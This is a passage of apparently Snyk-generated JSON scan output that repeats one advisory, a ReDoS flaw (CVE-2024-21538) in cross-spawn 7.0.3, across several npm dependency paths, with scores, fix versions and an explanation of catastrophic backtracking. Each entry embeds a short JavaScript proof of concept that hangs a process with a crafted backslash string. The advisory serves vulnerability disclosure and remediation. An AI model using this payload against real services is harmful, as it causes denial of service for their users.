[GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The 